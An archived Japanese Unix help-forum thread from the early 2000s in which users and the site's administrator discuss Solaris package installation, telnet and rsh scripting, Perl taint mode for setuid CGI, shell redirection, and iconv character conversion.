>>2525 ふくし > ええと、ここは68userさんにそれ以外の人が質問する部屋ではなくって ;;; > (時々そうなのかな、と錯覚しそうになりますが ;;; > 一応みんなで意見の交換、知識の共有をする部屋ですよね。 それはその通りですが、今回の件に関してこの掲示板と、例えば http://www.parkcity.ne.jp/~chaichan/bin/qanda.cgi?modefg=9&dumy=0 のどちらで質問した方が解決しやすいかと言えば、後者の方だと 思います。ここの掲示板で深い HTML の話題になったことは一度も なかったはずなので。 が、ネタ振りのおつもりでしたら いらぬおせっかいでした。 >>2526 名無し > すべての投稿に対して、ここはおいらが管理人なんだーみたいに > レスしてるみたいだけど 要は僕が「すいません、わかりません」と書くのがよろしくないと? 基本的に管理人が発言しないような質問・回答の場は (例えば 2ch)、 多人数の有識者が揃わないと成り立たないと考えています。極端な話、 少人数かつ有識者もほとんどいない場合は、結局誰も返答せず 閑古鳥が鳴く可能性が高いことはおわかりでしょう。 で、この掲示板は、管理人が放置プレイをするには規模が小さすぎると 考えているわけです。要は掲示板の規模・形式に応じた運営スタイルの 違いじゃないでしょうか。 それでもやはりうざいと感じておられるのでしたら、しばらく 「わかりません」的な発言は控えてみましょうか。 |
|
>>2527 68user さん: 面白そうなボードの紹介をありがとうございます。 下記の件は本当に困っているので、マルチポストになりますが、 そっちで聞いてみます。 |
|
こんにちは。これからWindows98のPerlでソケットを 勉強しようとおもっています。ご厄介になります。 よろしくお願いします。 (手始めにdaytimeクライアントを作ろうと思ってます。) FYA:手始めにWindows版のtcpdump、Windumpをダウンロードして、 ドキュメントも取ってきて翻訳をExciteに任せたら、すごいことに。 原文 http://netgroup-serv.polito.it/windump/docs/manual.htm >Under SunOS with nit or bpf: To run tcpdump you must >have read access to /dev/nit or /dev/bpf*. >幼虫またはbpfを備えたSunOSの下で: 走ること tcpdump >アクセスを読んだに違いありません、に /dev/幼虫 あるいは /dev/bpf* . # SunOSには幼虫デバイスがぶら下がっているのでしょうか?! >Primitives may be combined using: >原始人は次のものを使用して組み合わせられるかもしれません: # 英語も出来ないとだめみたいですね。 |
|
>>2529 高井あた さん > 原文 http://netgroup-serv.polito.it/windump/docs/manual.htm これはWinDumpのというよりtcpdumpのドキュメントではないでしょうか。↓に日本語訳があります。 http://www.linux.or.jp/JM/html/tcpdump/man1/tcpdump.1.html |
|
おっと、WinDump独自の説明はやはり英文で読まなくてはいけないようですが。 |
|
ありがとうございます。 日本語のマニュアル頂きました。 より深く使えそうです。 私の環境は、メインマシンにWindows98+Apacheとサブマシンに FreeBSD+ApacheがおうちLAN(10Base-Tをリバースケーブル)で、 つながっていて、実験につかってます。 それとは別に外界はWindowsマシンのPHS(H")ダイアルアップで 接続しているのですが、無指定でWindumpを起動したらいきなりPPPを 監視始めて、本当に監視して欲しかったLANの方はだんまり…。 それで調べていたのですが、-i で監視インターフェイスを指定するのは tcpdumpと同じでした。 ただWindumpにはインターフェイスを探すオプション-D があり、 -D を使って使えるインターフェイスを表示して、 そこからインターフェイス名を拾って使うようです。 Telnetでいろいろ見ているんですが、 昨日はchargen に突っ込んでTelnetが固まってリセットする羽目に(笑)。 |
|
こんばんは。 まだNetscapeのインストールにつまづいています。 経緯を記します(ちょっと長くなりますが・・)ので、なにかアドバイスいただけないでしょうか。 よろしくお願いします。 ーーー http://www.sun.com/software/solaris/netscape/getnetscape476.html からjapaneseをクリックし、そこからnetscape4.76をダウンロード ダウンロードしたファイル名は Japanese[1].tar.Z 解凍すると・・ NSCPjacom NSCPjecom NSCPjpcom NSCPjucom という四つのディレクトリができる。 中を見てみるとどれも構造は同じで install pkginfo pkgmap reloc というファイルやディレクトリの構成 ここで pkgadd -d `pwd` とすると 1 NSCPjacom Japanese(common)Netscape Communicator (sparc)10.4.76,REV=2001.01.17.19.51 2 NSCPjecom Japanese(EUC)Netscape Communicator (sparc)10.4.76,REV=2001.01.17.19.51 3 NSCPjpcom Japanese(PCK)Netscape Communicator (sparc)10.4.76,REV=2001.01.17.19.51 4 NSCPjucom Japanese(UTF-8)Netscape Communicator (sparc)10.4.76,REV=2001.01.17.19.51 とでます。 これら4つの違い?がよくわからず、とりあえず1のみインストールし、successfulはでました。 ただ、その後、起動をどうしてよいものやらわからず、 どこにどうインストールされたのかもよくわからず・・(苦笑) とりあえずnetscapeをさがしました。 # find / -name netscape /usr/openwin/lib/locale/ja/netscape /opt/local/jakarta-tomcat-3.2.4-src/src/native/netscape /opt/pkg/NSCPjecom/reloc/NSCPcom/lib/locale/ja/netscape /opt/pkg/NSCPjpcom/reloc/NSCPcom/lib/locale/ja_JP.PCK/netscape /opt/pkg/NSCPjucom/reloc/NSCPcom/lib/locale/ja_JP.UTF-8/netscape /opt/NSCPcom/lib/locale/ja/netscape /opt/NSCPcom/lib/locale/ja_JP.PCK/netscape /opt/NSCPcom/lib/locale/ja_JP.UTF-8/netscape 全部、ディレクトリでした・・。 なにをしようとしたのかというと、 # netscape & で起動できるかなあ・・? と考えたのですが・・ 一応、これらディレクトリのある場所でコマンドを打ってみましたが、起動はしませんでした。 その他、netscape 以外にNetscapeというのも見つけ・・ # find / -name Netscape /usr/openwin/lib/locale/ja/app-defaults/Netscape /opt/NSCPcom/lib/locale/ja/app-defaults/Netscape /opt/NSCPcom/lib/locale/ja_JP.PCK/app-defaults/Netscape /opt/NSCPcom/lib/locale/ja_JP.UTF-8/app-defaults/Netscape # file /usr/openwin/lib/locale/ja/app-defaults/Netscape /usr/openwin/lib/locale/ja/app-defaults/Netscape: ASCII テキスト # file /opt/NSCPcom/lib/locale/ja/app-defaults/Netscape /opt/NSCPcom/lib/locale/ja/app-defaults/Netscape: コマンドテキスト # file /opt/NSCPcom/lib/locale/ja_JP.PCK/app-defaults/Netscape /opt/NSCPcom/lib/locale/ja_JP.PCK/app-defaults/Netscape: コマンドテキスト で、 /opt/NSCPcom/lib/locale/ja/app-defaults/Netscape のある場所で # Netscape & などは実行してみましたが、やっぱり起動はなされませんでした・・ 以上まででいきづまっております・・ どうすれば起動するのでしょうか・・ (というか、インストールができているのかもはっきりとはしておらず・・) アドバイスのほど、よろしくお願い致します。 |
|
>>2533 Hiro とりあえず > 2 NSCPjecom Japanese(EUC)Netscape Communicator を入れてみて下さい。 |
|
>>2534 68user ありがとうございます。 今晩またいじりますので、やってみます。 2点わかれば教えていただきたいのですが 1、その場合、いったんインストールした 1 NSCPjacom Japanese(common)Netscape Communicator はアンインストールしたほうがいいでしょうか? 2、あと起動方法ですが、netscapeがある適当な場所をさがして # netscape & と打ってみる、という方法でいいでしょうか? よろしくお願いします。 |
|
>>2533 Hiro 実際にやってみました。 > http://www.sun.com/software/solaris/netscape/getnetscape476.html > からjapaneseをクリックし、そこからnetscape4.76をダウンロード サイズは 0.99MB だと思うのですが、これは日本語パッケージというか、 日本語 locale 用の設定ファイルです。 この前に English を選ぶと 16MB くらいのパッケージが落とせますので、 これをインストールします。pkgadd すると 1 NSCPcom Netscape Communicator (sparc) 10.4.76,REV=2000.11.07.14.36 と出るはず。 実行ファイルは /opt/NSCPcom/netscape。メニューが英語でよいなら このままで。 メニューを日本語化したいなら Japanese.tar.Z の方を入れます。とりあえず 2 だけ入れて % env LANG=ja_JP.eucJP /opt/NSCPcom/netscape と実行すると、一部フォントが欠けてしまいました。 # そういえば昔 Solaris+Netscape の環境を使ってたときは # リソース設定してたような気も。 まともに見られなくなったので # rm -rf /opt/NSCPcom/lib/locale/ja として英語版に戻しました (pkgrm の使い方を知らないので)。 2 を入れてから 1 を入れようとすると conflict するようなので、 ひとつだけ選んでインストールすればよいでしょう。 |
|
>>2536 68user ありがとうござます 先に英語版入れないといけなかったのですか(苦笑)。 今晩試してみます。その後また報告します。 |
|
始めまして、小僧といいます。 ここのトップからいける、Unixコマンド集にはいつもお世話になって いるのですが、掲示板は今日始めて見つけました。 本を読んでも、ネットで調べてもわからない事があるので質問させてください。 シェルで、Telnetを実行し、別のホスト(仮名:X)にログインし、 コマンドを実行したいのです。 方法は、ファイルにTelnetで実行したいコマンド等を 記述し、それをパイプ(or リダイレクト?)で 実行すればいいと思っているのですが・・・ あまりに簡単すぎる事だから、本にも載っていないのでしょうか? 実行環境は、AIX4.3です。 インストールしたばかりなので、何か設定ファイルみたいな ものが必要なのかな、とも思っています。 アドバイス、宜しくお願いいたします。 |
|
No. 2538 小僧 さん もしやるとすれば、 ・`telnet' でホストに接続 ・ユーザ名が要求されるまで待つ ・ユーザ名を入力 ・パスワードが要求されるまで待つ ・パスワードを入力 ・コマンドを入力 といったところでしょう。Tera Term Pro(Windows版のTelnetクライアント)では、そんなマクロで自動ログイン機能を実現しています。 利用可能であれば `rsh' でやったほうがずっと楽とは思いますが。 |
|
CZさん 返信、ありがとうございます。 記載されたレスの中で、質問をさせてください。 ・ユーザ名が要求されるまで待つ と、ありますが、「待つ」というのは Sleepコマンドで適当な時間待つ、という事でしょうか? 誠に勝手で申し訳ございませんが、 ソースレベルでご教示して頂ければ幸いです。 お粗末ですが、私が作成したファイルを掲載します。 -----実行ファイル Start----- #!/bin/ksh cat telnet_file | telnet -----実行ファイル End ----- -----telnet_file Start----- open HOST_NAME UserName Password date -----telnet_file End ----- -----実行結果 Start----- telnet> 試行中... HOST_NAME に接続されました。 エスケープ文字は '^]' です。 getwinsize:ioctl: 指定されたファイルは ioctl システム・コールをサポートしていません。 接続がクローズされました。 -----実行結果 End ----- ※ もちろん、HOST_NAMEやUserNameなどは、実際の環境に則している 値を設定しています。 宜しくお願いいたします。 |
|
OCNのADSLアクセスIP8「フレッツ」のサービスでの PPPOEのLAN型接続において、 固定グローバルIPを割り当てたPC(サーバー)に対して、 外部のPCから(インターネット経由で)アクセスすると、HOST検索にやたら時間がかかります。(約18秒) 時間がかかっているのは、WINSOCKのgethostbyaddrという関数です。 上記の不具合を解決する方法を知っていましたら、教えていただけないでしょうか?ブローバンド・ルータに原因があるのかと思い、買い替えましたが、結果は同じでした。ちなみに、pingは0.1秒以内に帰ってきます。 |
|
OCNのADSLアクセスIP8「フレッツ」のサービスでの PPPOEのLAN型接続において、 固定グローバルIPを割り当てたPC(サーバー)に対して、 外部のPCから(インターネット経由で)アクセスすると、HOST検索にやたら時間がかかります。(約18秒) 時間がかかっているのは、WINSOCKのgethostbyaddrという関数です。 上記の不具合を解決する方法を知っていましたら、教えていただけないでし ょうか?ブローバンド・ルータに原因があるのかと思い、買い替えましたが、結果は同じでした。ちなみに、pingは0.1秒以内に帰ってきます。 |
|
>>2540 小僧 > cat telnet_file | telnet こういうふうに使える telnet ってあるんでしょうか。どこかに 書いてあったのを参考に作っておられますか? で、普通 telnet というのは人間が操作しますので、 Login: と表示されてからユーザ名をタイプし、 Password: と表示されてからパスワードをタイプし、その後コマンドを実行して 実行結果を見るわけです。 なので、これを自動化するには Login: という文字列が相手側から送られてきてからユーザ名を送り、さらに Password: という文字列が送られてきてからパスワードを送り、コマンドを送り、 その結果を取得する。ただしプロンプトとコマンドの実行結果を選り 分ける、というなかなか面倒な話なのです。CZ さんは「ユーザ名が 要求されるまで」と表現しておられますが、実際は単に文字のやりとり をしているだけで、「プロトコル」といった大層なものがあるわけでは ありません。 面倒なこと一切抜きで手抜きするならこんな感じ。 ( sleep 2 ; echo USER ; sleep 2 ; echo PASS ; sleep 2 ; echo date ; sleep 2 ) | telnet localhost ちゃんと真面目にやるなら expect コマンドや p5-Telnet など。 >>1335-1340 参照。 もっとよいのは rsh。さらによいのは ssh って感じですかね。 # http://www.jp.FreeBSD.org/QandA/HTML/1576.html >>2542 こうた > 外部のPCから(インターネット経由で)アクセスすると、 > HOST検索にやたら時間がかかります。(約18秒) どの外部の PC 経由からでも名前解決に時間がかかるのですか? そのマシンのプライマリの DNS サーバはどこにありますか? どのマシンからでもその現象が発生して、DNS サーバが外部に あるなら DNS サーバの問題でしょう。 もし可能ならば、実際のホスト名を出して下さい。 |
|
>>2536 68user 報告 おかげさまで、netscapeのインストール、できました。 なお、先に入れてしまった日本語 locale 用は、pkgrmコマンドでアンインストールしてから本体をインストールしました。それからnetscapeを立ち上げたら、なぜかメニューも日本語化されていました?pkgrmでの削除では、すべてを削除したわけではないのかもしれないので?残存ファイルで日本語されているのか・・? とにもかくにも、前のhotjavaより軽いし、なんとか動いて嬉しいです^^ ありがとうございました。 その後、tomcatを起動してブラウザからみたところ、examplesの動作確認等、簡単なところまではできました。 取り急ぎご報告まで。 |
|
>>2543 68user 返信、ありがとうございます。 >> cat telnet_file | telnet >こういうふうに使える telnet ってあるんでしょうか。どこかに >書いてあったのを参考に作っておられますか? いえ、どこにも記述されていません。 FTPで同じ方法を使っているシェルがあったので、 それを参考にして作ってみました。 68uesrさんが言われた(echo 〜)の方法で 多分うまくいくと思います。 貴重なアドバイス、ありがとうございました。 rsh、sshが使えれば楽なんですが、 r系コマンドはセキュリティ上、 ssh等は自分の知識不足のため、お客様へ説明が出来なく (セキュリティに関する部分)Telnetでシェルを 記述する事になっているのです。 過去ログの方も参考にしながら、後は自分で書いていこうと思います。 ありがとうございました。 ※ 掲示板のレスの表示がうまくいかないかもしれませんが、 ご容赦下さい。 |
|
お世話になります、小僧です。 先日は、Telnetで質問させて頂き、ありがとうございました。 その後、仕様変更に伴い、rsh、rcpコマンドを使用する事になりました。 そこで、新たに疑問が発生したので、質問させて頂きます。 このホームページの"Unixの部屋"の.rhostsに関する内容の所です。 以下、抜粋させていただきます。 ----- 抜粋 Start ----- それとは逆に、hoge.fuga.com の ~/.rhosts に foo.bar.com user1 と書いておくと、foo.bar.com にログインしているとき、hoge.fuga.com に対して、 rcp・rsh・ノーパスワードでの rlogin を使うことができる。 ----- 抜粋 End ----- 記述してある条件のもと、上記の設定を行う場合、 ~/のディレクトリは、User2に記述するとして、 その場合、User1がhoge.fugu.comホストに対して rshを行った場合、実行ユーザはUser2になるのでしょうか? 説明が分かり辛いと思いますが、 ご教示して頂ければ幸いです。 |
|
先ほどUNIXの部屋で `ログ' を全文検索したのですが、 コマンドに本文がないと改行されないのが気になりました。 例) astrolog 占星術のプログラムらしい bison 構文解析パーサ生成プログラム 根本的な解決策は思いつきませんが、とりあえずは 本文がない場合は「お尻P」を付ければいいのかな? # UNIXの部屋に長いことお世話になっていながら # htmlファイルの存在を全く意識していなかった # ことに気づいた今日この頃です。 |
|
>>2546 小僧 > その場合、User1がhoge.fugu.comホストに対して > rshを行った場合、実行ユーザはUser2になるのでしょうか? そうです。foo.bar.com に user1 としてログインし、 % rsh -l user2 hoge.fuga.com /usr/bin/id などとすれば確認できます。 >>2547 CZ ご指摘ありがとうございます。</P> を付けるようにしました。 http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/unix/script/make-html |
|
こんにちは。質問があります。 標準出力と標準エラー出力を画面に出力しつつ エラー出力のみをファイルに保存したいのですが shと標準的なUNIXのコマンドを使って実現可能な ものなのでしょうか。 これまでに試したのは以下のような方法です。 --- test.sh --- #!/bin/sh echo stdout echo stderr 1>&2 --- [その1] $ ./test.sh 2>error.log エラーが画面出力されないので× いざとなれば別の仮想端末で $ tail -f error.log としてもいいのですが。 [その2] $ ./tesu.sh 2>&1 | tee error.log エラー以外の出力も保存されるので× |
|
>>2549 CZ http://www.ainet.or.jp/~inoue/memo/sh-fd.html などを読みつつ 考えた結果、 % (./test.sh > /dev/tty) 2>&1 | tee error.log と、サブシェルを使わないとできないんじゃないか、という 結論になりましたがどうでしょう。 |
|
>>2550 68user さん なるほど。 ttyでstdoutを出力してしまえば, stderrが後に残るというわけですね。 (正しい表現が分かっていませんが。) ありがとうございました。 |
|
こんにちは。 今日、こちらのページをみて、suidというものを使えば、 とあるCGIを「nobodyじゃない権限で実行させたい」と いう願いがかなうということがわかり、早速試してみました。 まず、こちらにサンプルでおいてあるwhoami.cgiをそのまま設置して パーミッションをrwsr-xr-xとしたところうまく動きました。 その後、自作のCGI(nobodyでは動かしたことがあるもの)を同様に nobodyでないユーザで動かそうと思ったら「Internal Server Error」 となってしまいました。 それで、うまくうごいた実績のあるwhoami.cgiを改造しながら原因を探した ところ、どうやら「require 'jcode.pl';」を書いてしまうと 「Internal Server Error」となってしまうということがわかりました。 require 'jcode.pl';行をコメントアウトすれば動きます。 なんとか、この一行を含んでいるものも、setuidして動かすことは出来ない ものでしょうか。 なにかよい方法がございましたらご教示ください。 宜しくお願い申し上げます。 |
|
>>2552 stone_free まず、 #!/usr/bin/perl require 'jcode.pl'; このスクリプトをコマンドラインから動かして下さい。カレント ディレクトリに jcode.pl があればちゃんと動くでしょう。 suid したスクリプトを実行すると、perl は自動的に汚染モード (taint mode) に切り替わります。いちいちスクリプトを suid して web 経由で実行するのは面倒なので、perl に -T オプションを付けて 汚染モードで動作させます。 #!/usr/bin/perl -T require 'jcode.pl'; 今度は jcode.pl が見付からない、と言われるはずです。 require がライブラリを探すパスは @INC で設定されていますので、今度は #!/usr/bin/perl print "@INC\n"; と #!/usr/bin/perl -T print "@INC\n"; で違いを調べます。 # perl -e 'print "@INC\n"' # perl -Te 'print "@INC\n"' # としてもいいです。 すると、上の方では @INC の最後に `.' (カレントディレクトリ) が含まれて いますが、-T を付けると `.' が含まれていないことがわかります。ドキュメント化 されていないのかもしれませんが、これは汚染モードの仕様なのでしょう。 というわけで、 require './jcode.pl'; require '/foo/bar/jcode.pl'; などと、@INC に頼らず require するか、require する前に push(@INC, '.'); すれば解決です。 その他、suidperl で動かすと PATH だとか umask だとかで文句を 言われることがあるかもしれませんが、いきなりブラウザ上で動作を 検証することはせず、必ず -T 付でコマンドラインから動作を確かめる ようにして下さい。 |
|
こんにちわ。早速なんですけど、教えて下さい。 以下のことを行った場合、 (1)javaのClassファイルをHP-UNIX上でコンパイル後、圧縮。 (2)windows2000にダウンロード後、CDに焼く。 (3)Solarisで解凍し、実行環境に投入。 で、Solarisで正常に動作するでしょうか? javaだから出来るような気もするんですけど、やっぱりリコンパイルは必要な気もして。 よろしくお願いします。 |
|
ひとつ気づいたこと。 これまでずっと,tar + gzip 形式のファイルを展開するのに % tar zxvf hoge.tar.gz といった順序でオプションを指定していました。 ところが,GNU Tar のマニュアルを見ると, こんなことが書いてありました。 <http://www.linux.or.jp/JM/html/GNU_tar/man1/tar.1.html> | tar への最初の引数は、オプション Acdrtux のいずれかでなくてはならない。 | この後にはどのオプション機能を指定する事も出来る。 最初の記述法は厳密に言うと間違いということに なりそうなんですが,どんなものでしょうか。 |
|
>>2553 68user 68userさん、有難うございました。 大変参考になりました。 おかげさまで、動かすことができました。 感謝感激です。 もうひとつ、教えていただいていいでしょうか。 今回の手順のひとつに > perl に -T オプションを付けて汚染モードで動作させます。 > #!/usr/bin/perl -T > require 'jcode.pl'; > 今度は jcode.pl が見付からない、と言われるはずです。 とありましたが、このとおりファイルに書いて # perl test.cgi としてコマンドラインで実行してみたのですが、 Too late for "-T" option at test.cgi line 1. と出てしまいました。 #!/usr/bin/perlの後にオプションをつける場合は、クオートか なにかでくくらないといけないのでしょうか。 また、「汚染モード」という物騒な名前はなにか訳があるのでしょうか。 やはり、本来のユーザと違う権限で実行できてしまうから危険である ということでしょうか。 |
|
>>2554 たこ。 > で、Solarisで正常に動作するでしょうか? Java のバージョンが合っていれば正常に動作するんじゃないでしょうか。 まぁ僕なら怖いので、Solaris でコンパイルして生成された class ファイルを比較してみます。 >>2555 CZ > tar への最初の引数は、オプション Acdrtux のいずれかでなくてはならない。 原文は The first argument to tar must be one of the options: Acdrtux なので誤訳だと思います。 tar に与える最初の引数の中には、必ず Acdrtux のうちの 1つを 指定しなければならない あたりでどうでしょうね。って、自信はないのですが。 |
|
>>2556 stone_free > #!/usr/bin/perlの後にオプションをつける場合は、クオートか > なにかでくくらないといけないのでしょうか。 原理を書き出すとまた長くなってしまうので割愛しますが、 #!/usr/bin/perl -T と書いたスクリプト hogescript を実行するには % ./hogescript とします。 これは % /usr/bin/perl -T ./hogescript と等価であって、 % /usr/bin/perl ./hogescript とは等価ではありません。 > また、「汚染モード」という物騒な名前はなにか訳があるのでしょうか。 ラクダ本では「汚染モード」と訳してあります。詳しくはこちらなど。 http://www-sampei.ctrl.titech.ac.jp/perldoc/perl_20.html |
|
>>2558 68user なるほど!よくわかりました。 重ね重ねありがとうございました。 |
|
こちらのページのお陰で、サーバプログラミングに入ることが出来ました。 CP/M、DOS、Windowsとやってきたのですが、サーバプ ログラミングに入れなくて困っておりました。 仕事でサーバ側のプログラムを組む必要に迫られ、Unixも知らな いし、サーバサイドの概念もつかめなくていたのに、今ではFTPや HTTP、POPもcronも使えるようになりました。 ついでにPerlまで覚えてしまいました。 黙って読ませていただくばかりでは心苦しく、お礼を述べさせて頂き に参りました。 今後もUnix勉強の基本ページとして利用させていただきます。 親切で分かりやすいページを作って下さり有り難うございます。 心より感謝申し上げます。 |
|
おっと、私もこのページにお礼を言いに来たのですが プチ先駆者が(笑) このページには大変お世話になっています ネットワークプログラミングの部屋でファイルディスクリプターという 概念を初めて知りました、僕は学生なのですが将来こういう方面の仕事に つきたいと思ってます。大変に参考になるページでした このページの更新、たのしみにしてますm(。。)m |
|
>> 2557 いろいろと調査してみた結果、windows上でコンパイルしたものを圧縮してsolarisに持っていっても、JAVA周りの環境さえ同じなら正常に動作するということなので、大丈夫だと思います。 ありがとうございました。 |
|
お世話になります、小僧です。 AIX上での文字コードに関してお聞きしたい事があります。 ファイルの文字コードを確認するコマンドというのは 存在するのでしょうか? 例えば、「このファイルの文字コードはShift-JISだな」などの 判断を行えるようなコマンドの事なのですが。 それと、iconvを行う事が出来る文字コードは、 "/usr/lib/iconv"ファイルに登録されているようなのですが、 このファイルはデフォルトでは存在しないのでしょうか? ご存知の方がいらっしゃいましたら、宜しくお願い致します。 |
|
kccなんてコマンドがありましたけど、AIXに存在するかどうかは 不明です。 Ex: kcc -c kannji_file.txt ん〜ちょっと調べてみると、どうもLinux系だけみたいだなぁ・・・ |
|
はじめまして、 現在色々とcgiを作成しており、 色々とよくわからないバグを調べている内 たどり着いた次第です。 他のサイトではあまり解説されていない ヘッダの解説など大変助かりました。 これからも更新楽しみにさせていただきます。 |
|
>>2564 スナフキン kccコマンドですが、ちょっと無さそうですね・・・ 現在使用しているAIXにmanコマンドが入っていないので なんともいえませんが、ネットや手持ちの資料には 載って無さそうです。 ついでに、と言っては失礼ですが、iconvでもう一つ質問を。 iconvコマンドで、変換後に存在しない文字が存在した場合、 自動で"_"に変換されるようですが、この"_"を他の文字に 変更する事は可能なのでしょうか? 例えば"*"にしたりする事は可能なのでしょうか? ご存知の方がいらっしゃいましたらアドバイスお願い致します。 |
|
>>2564 スナフキン 文字コードを判断する方法ですが、mule に付属している coco、 昔 fj に流れた kanjitype、jcode.pl の jcode::getcode、 mule/emacs のステータスバーに表示される E/S/J の文字。 僕が知っているのはこれくらいです。 |
|
お世話になります、小僧です。 色々と調べて頂いてありがとうございます。 どうやら、私の環境で調べる方法はなさそうですね・・・ また分からない事がありましたら、アドバイスお願い致します。 |
|
>>2564 スナフキン > ん〜ちょっと調べてみると、どうもLinux系だけみたいだなぁ・・・ こういう一般的な用途のコマンド (ファイルを読んでコード変換するだけ) で、 なおかつソースが公開されているものは、よっぽどのことがない限り Linux 専用ということはありません。 FreeBSD の port/package にもありますし、NetBSD の package には含まれて ないようですがコンパイルすれば使えるでしょう。まぁ、それを言い出したら 多分 Windows でも Mac でも使えそうな気がしますが。 >>2563 小僧 そういえば最初にここを紹介すべきでした。 http://www.jp.FreeBSD.org/QandA/HTML/1254.html >>2566 小僧 > 自動で"_"に変換されるようですが、この"_"を他の文字に > 変更する事は可能なのでしょうか? 多分できないです。できたとしても、その環境の iconv のみの独自拡張でしょう。 こういうのは考え方を変えて、 % sed 's/&/&/g' | sed 's/_/&ubar;/g' | iconv -f shift_jis -t euc-jp | \ sed 's/_/\*/g' | sed 's/&ubar;/_/g' | sed 's/&/&/g' などとファイル中の _ を別の文字に置換してから iconv を通せば なんとでもできます。 # &ubar; というのは、いま適当に考えた実体参照で、本当は存在しません。 >>2560 Moo >>2561 へんきち >>2565 sisya どもども。できれば改善すればよい点も書いていただけると嬉しいです。 # と言っても、時間がなくて対応できない可能性が大なんですが。 |
|
お世話になっております。 シェルスクリプトが上手く動作せず困っています。 行っている方法は、 Linux7.1J sendmail-8.11.2-14 procmail-3.21-0.71で ユーザ"XYZ"のホームディレクトリに.procmailrcファイルを置き、 XYZ宛てのメール受信時に条件が合えばシェルスクリプト"ABC"を 実行するようにしています。 メール受信時に条件が合い、シェルスクリプトを実行するところまでは 上手くできたのですが、実行するシェルスクリプトの中の一部分のみ 動作しません。 その部分とはユーザ"mono"に切り替え、さらにシェルスクリプトを実行する以下です。 su - mono -s /home/mono/mno.sh ---(1) ※ユーザ"mono"はパスワードなしです。 ((なお、mno.shの記述は scp /var/XYZ/123.txt abc.world.co.jp:/home/mono/123.txt ssh abc.world.co.jp sh /home/mono/mno2.sh です。 他のLinuxサーバabc.world.co.jpへsshでファイルをコピーし、 他のサーバのシェルスクリプトmno2.shを実行)) (1)の部分に対してエラーでは、 standard in must be a tty と表示されます。 他のサーバではこの記述通りで動作しました。 また、メール受信時にシェルスクリプト"ABC"を実行するユーザ"XYZ" で手動でシェルスクリプトを実行すると(1)の部分も動作します。 Webで調べたところ、同じような現象になっている例もありましたが 解決策がありません。 そしてエラーの意味がよくわかりません。 勝手な推測ですが、実行しているサーバではセキュリティが強いため パスワードなしとしている"mono"ユーザが原因ではないかと思います。 ですが、シェルスクリプトでパスワードも記述した形での"su"の実行は 可能かどうか分かりません。 申し訳ありませんが、何かよい策をお教えください。 |
|
タブ区切りテキストを split /\t/ で切って各フィールドを変数に読み込み、 join "\t" で戻そうとすると、 場合によってはデータが抜けていることがあるので困ります。 タブ区切りデータを a, b, c, d、タブを->であらわすと、 split /\t/, "a->b->c->d" => (a,b,c,d) split /\t/, "a->->c->d" => (a,c,d) split /\t/, "a->b->->d" => (a,b,d) split /\t/, "a->->->d" => (a,d) split /\t/, "a->b->->" => (a,d) ということで、 1 while $str =~ s/\t\t/\t♪\t/; @list = split /\t/, $str; for (@list) { s/♪//; # $_ は @list の要素を参照する。♪がデータにないと仮定 } とかやってるんですが、いかにもダサいですね。 もっと常道はあるんでしょうか? Excel で編集すると a->b->->\n が a->b\r\n となってしまうのも 困る。 |
|
<A href="javascript:x(1)">1</A> をクリックすると最終的に Nの値(abcの所)を計算し document.location.href="http://www.a/cgi/a.cgi?N=abc"; としていたのですが、不便な所を感じ変えたいと思っています。 Submitボタンを押したらNを計算し <FORM name="f" method="post" onSubmit="if(x() != true) {return false}" action="a.cgi"> <INPUT type=hidden name=N value=abc> としてa.cgiを起動する方法は知っているのですが、 上のものと組み合わせた感じで <A href="javascript:x(1)">1</A>をクリックして 最終的にNを計算し <INPUT type=hidden name=N value=abc> のようにpost/getで起動する方法はないでしょうか? 自分なりにやってみてもよくわからないのです。 どなたか教えて下さい。 お願いします。 ちなみに初心者です。難しいことは解らないので細かく教えていただくと 助かります。 |
|
>>2570 q19_77 > standard in must be a tty su は端末 (tty) からのパスワード入力を求めているのに、 端末がないよ、という意味です。 端末というのは、キーボードで入力ができて、文字が表示されるもの、 たとえば kterm がそれです。procmail 経由で実行されると端末が 割り当てられないので (キーボードもないし、出力する画面もない) エラーになっているわけです。 > 他のサーバではこの記述通りで動作しました。 本当ですか? どうして root でもないのに、パスワードなしで su で他ユーザになれるのですか? > su - mono -s /home/mono/mno.sh 気になる点は2つ。 なぜ -c でなく -s なのでしょうか? http://www.linux.or.jp/JM/html/GNU_sh-utils/man1/su.1.html によると、-s はシェルを実行するオプションですから、-s の場合端末が あることをチェックしているのかもしれません。 あるいは環境変数 TERM などがセットされているので、端末を見にいってしまう という可能性も考えられます。 ちなみに FreeBSD 4.4-RELEASE では、端末がない状態で (cron 経由) echo PASSWORD | su root -c /usr/bin/id でプログラムの実行ができました。 >>2571 ふくし > 場合によってはデータが抜けていることがあるので困ります。 そんなことはないと思いますが、perl のバージョンは何ですか? perl-5.005_03 ではそのような挙動を示しませんでした。 |
|
>>2573 68user さん: えっと、 split /\t/, "a->b->c->d" => (a,b,c,d) split /\t/, "a->->c->d" => (a,'',c,d) split /\t/, "a->b->->d" => (a,b,'',d) split /\t/, "a->->->d" => (a,'','',d) split /\t/, "a->b->->" => (a,b,'','') となってくれる、ということですか? あれーおかしいなー、、。 実は、下の♪を使ったコードが動いたのでロクな検証をしてないのでした。 勝手な思い込みで外していたら申し訳ありません。 Excel による末尾のタブの削除等の現象かな? うーんうーん。 |
|
皆さん教えてください。 DATのテープを新しく交換するときに、ラベリングを行おうとすると I/O errorが出るんですけど、まさか、formatが必要とかそんなことですか |
|
お世話になります。 相変わらずiconvで困っています。 下記のように、コマンドを発行したのですが、 エラーが出てしまってiconvが出来ません。 ----- コマンド発行 ----- $iconv -f shift_jis -t euc aaa ----- エラーメッセージ ----- iconv: 0791-004 コンバータがオープンできません 自分で調べたところ、必要なファイルだと思われるのは、 /usr/lib/iconvファイルだと思うのですが、 このファイルは存在しません。 もしこれが原因なら、中身のサンプルを教えていただければ幸いです。 宜しくお願い致します。 |
|
>>2576 小僧 > $iconv -f shift_jis -t euc aaa euc という文字コードは存在しないような気がするので (ほんとか?)、 とりあえず -t euc-jp を試してみましょう。 >>2574 ふくし > となってくれる、ということですか? はい、そういうことです。 |
|
>>2577 68user >とりあえず -t euc-jp を試してみましょう。 ----- 実行文 ----- iconv -f shift-jis -t euc-jp aaa を行ってみましたが、同じ現象が発生しました。 当然の事ながら、ファイル"aaa"はきちんと存在します。 宜しくお願い致します。 |
|
>>2574 ふくし > split /\t/, "a->b->->" split /\t/, "a->b->->", -1 でわ? |
|
